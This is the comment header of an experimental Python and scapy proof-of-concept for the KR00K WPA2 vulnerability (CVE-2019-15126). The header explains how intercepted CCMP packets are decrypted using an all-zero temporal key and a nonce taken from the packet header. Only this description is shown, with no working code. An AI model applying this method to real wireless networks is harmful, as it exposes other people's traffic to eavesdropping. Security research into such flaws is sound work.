+# Kr00ker
+#
+# Experimetal KR00K PoC in python3 using scapy
+#
+# Description:
+# This script is a simple experiment to exploit the KR00K vulnerability (CVE-2019-15126),
+# that allows to decrypt some WPA2 CCMP data in vulnerable devices.
+# More specifically this script attempts to retrieve Plaintext Data of WPA2 CCMP packets knowning:
+# * the TK (128 bites all zero)
+# * the Nonce (sent plaintext in packet header)
+# * the Encrypted Data
+#
+# Where:
+# * WPA2 AES-CCMP decryption --> AES(Nonce,TK) XOR Encrypted Data = Decrypted Data
+# * Decrypted stream starts with "\xaa\xaa\x03\x00\x00\x00"
+# * Nonce (104 bits) = Priority (1byte) + SRC MAC (6bytes) + PN (6bytes)
+#
+# This PoC works on WPA2 AES CCMP with Frequency 2.4GHz WLANs.
